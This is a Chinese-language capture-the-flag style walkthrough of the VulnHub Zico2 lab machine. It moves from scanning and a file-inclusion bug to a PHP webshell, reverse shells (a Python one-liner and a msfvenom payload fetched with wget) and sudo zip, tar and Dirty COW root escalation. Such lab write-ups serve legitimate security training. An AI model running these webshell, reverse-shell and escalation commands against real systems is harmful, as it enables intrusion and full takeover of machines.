一、靶机说明

1、下载链接

  靶场镜像:链接: https://www.vulnhub.com/entry/zico2-1,210/

2、靶机准备

(1)重置靶场密码

  重启主机,疯狂按shift,进入如下界面后,按e

image-20211209000543450

  找到linux开头的行,在最后输入 init=/bin/bash,输入完成后按Crtl+X

image-20211209000709270

  mount -o rw,remount /,回车

   passwd root,输入新密码两次

image-20211209000757183

  如果提示改变密码成功,重启该虚拟机

(2)查看IP

  使用刚才修改的密码进入靶场主机,输入ip a,查看IP地址

image-20211209001103683

三、信息收集

1、探测主机IP

  使用arp-scan探索靶机IP,发现IP地址为192.168.1.107

arp-scan -l

image-20211209001214999

2、开放端口与服务扫描

  使用nmap对IP进行扫描:

nmap -sV 192.168.1.107

  可以看到开启了SSH,HTTP等服务

image-20211209001421801

111端口RPCBIND用于取代旧版本中的portmap组件。
简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的相互操作

  访问80端口的服务,是一个网站

image-20211209001534937

3、目录扫描

  使用dirsearch扫描

dirsearch -u http://192.168.43.8

  扫出了个/dbadmin目录很可疑

image-20211209001808868

  访问该目录,发现有个PHP文件,点击访问,发现是个后台登录页面,并且提示了框架信息,phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

image-20211209002030658

image-20211209002042837

四、漏洞探测与利用

1、Owasp-zap扫描

  使用owasp-zap对网站进行扫描,owasp-zap是一个对网站进行自动漏洞扫描的工具

image-20211209002516533

  扫描结束,Alerts一栏为有漏洞的地方,旗子衍颜色越胜代表漏洞越严重,这里发现其中有一个目录遍历的漏洞,http://192.168.43.8/view.php?page=../../../../../../etc/passwd,进入该页面发现的确爆出了用户名的相关信息

image-20211209002654692

  这里其实也可以在主页,点击CHENC THEM OUT!按钮,会发现URL变成了http://192.168.43.8/view.php?page=tools.html,可能存在文件包含,这样也可以发现的确存在文件包含

image-20211209003048221

  只要看到文件包含这种URL路径,就要想到可以利用的点大概有以下几点

1	任意url跳转
2 Ssrf
3 文件包含
4 Sql注入

2、爆破密码

  后台登录只验证了密码,可以尝试使用字典对其进行爆破,或者使用弱口令,这里密码是admin,直接进入后台

image-20211209002837222

3、信息搜集

  在users表可以看到有两个用户信息

image-20211209003527407

  丢到md5解密看看

image-20211209003711369

image-20211209003813350

  得到两个账号密码

  • 用户名:root 密码:34kroot34
  • 用户名:zico 密码:zico2215@

  使用searchsploit phpliteadmin命令,搜索是否有能够利用的EXP,发现确实存在对应版本的利用脚本

image-20211209155456133

  查看说明,意思就是可以利用phpLiteAdmin,创建一个数据库,这个数据库名称起名为xx.php,如果后端没有这个数据库,比如hack.php,会自动创建一个数据库名称的文件,然后在里面填充数据,比如<?php phpinfo()?>,然后访问,会发现执行成功

image-20211209155714073

  这里我有两个想法

  1. 用SSH登录账号密码,看能否成功
  2. 利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

想法一:用SSH登录

  发现事情并不简单,登录失败。

image-20211209004421258

想法二:利用远程php代码执行漏洞

  步骤一:返回到数据库管理页面先创造一个.php文件作为数据库

image-20211209004844688

  步骤二:在该数据库(php文件下)创建一个数据表a(随便设置名字)

image-20211209004954886

  步骤三:在Default Value下插入一句话木马(因为在这里上传的一句话中引号会被过滤,所以一句话不含单引号;)

<?php @eval($_REQUEST[ok]);?>

image-20211209010553084

image-20211209010559508

  使用文件包含一句话木马

image-20211209010758912

  步骤五:上菜刀,只是www-data还不是最高的root权限

image-20211209011349557

image-20211209011609403

五、反弹shell

方法一:python反弹shell

  在kali端监听并且开放端口4444,在页面url使用以下pyhon反shell的payload

http://192.168.43.8/view.php?page=../../../../../usr/databases/w01ke.php&ok=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.167",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

方法二:利用php反shell

  思路:用kali下msfvenom生成一个后门文件,然后利用之前的一句话木马,命令执行,让靶机将后门文件主动下载到本机,然后弹回shell

  首先创建后门文件,名字为shell命令为:

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=5555 -f elf  -o shell

image-20211209160542854

  执行命令 cp shell /var/www/html,将后门文件复制到apache的网站根目录

  执行命令 chmod 777 /var/www/html/shell,赋予后门文件可读可写可执行权限

  执行命令 service apache2 start,启动攻击机的apache服务

image-20211209161335056

  msfconsole监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.43.167
set LPORT 5555
exploit

image-20211209161856847

  利用之前上传的一句话,让靶机主动下载该文件,反弹shell

ok=system("cd /tmp;wget http://192.168.43.167/shell;chmod 777 shell;./shell");

image-20211209162806633

  进入shell,调用交互式命令行,同时美化命令行

python -c "import pty;pty.spawn('/bin/bash')"

六、提权

  进入到/home目录,查看文件,发现所要进行的下一步操作提示

image-20211209163613674

  进入到wordpress目录下,发现wordpress配置文件,使用cat命令查看到账号密码(如果此时看不到,那么到meterpreter界面,利用download命令,将文件下载到本地进行查看download /home/zico/wordpress/wp-config.php /root

image-20211209163800306

  尝试用得到的账号密码,通过22端口的ssh登录主机,登录成功

image-20211209164012006

  下一步就是进行提权,获得root权限,来得到最后的flag

1、zip提权

  执行命令:sudo -l,查看哪些命令具有root权限,发现具有root权限的为两个解压用的命令可执行

image-20211209164131400

  可以利用zip命令来进行提权

  在/tmp目录下创建一个exploit名字的文件

touch /tmp/exploit

  使用以下命令,提权成功,查看flag

sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

image-20211209164415754

2、tar提权

sudo /bin/tar cf /dev/null /pwnd --checkpoint=1 --checkpoint-action=exec=/bin/bash

image-20211209170249295

3、脏牛提权

wget http://192.168.43.167/dirty.c -O /tmp/dirty.c
gcc -pthread dirty.c -o exp -lcrypt # 编译
./exp w01ke # 使用exp,后面的w01ke是密码

五、总结

  这种自解压的tar和zip提权,需要很多前提条件,真实环境中管理员也不会单独给某个用户zip这样的权限,这种提权方式CTF或许会用到,但是实际环境基本不会有用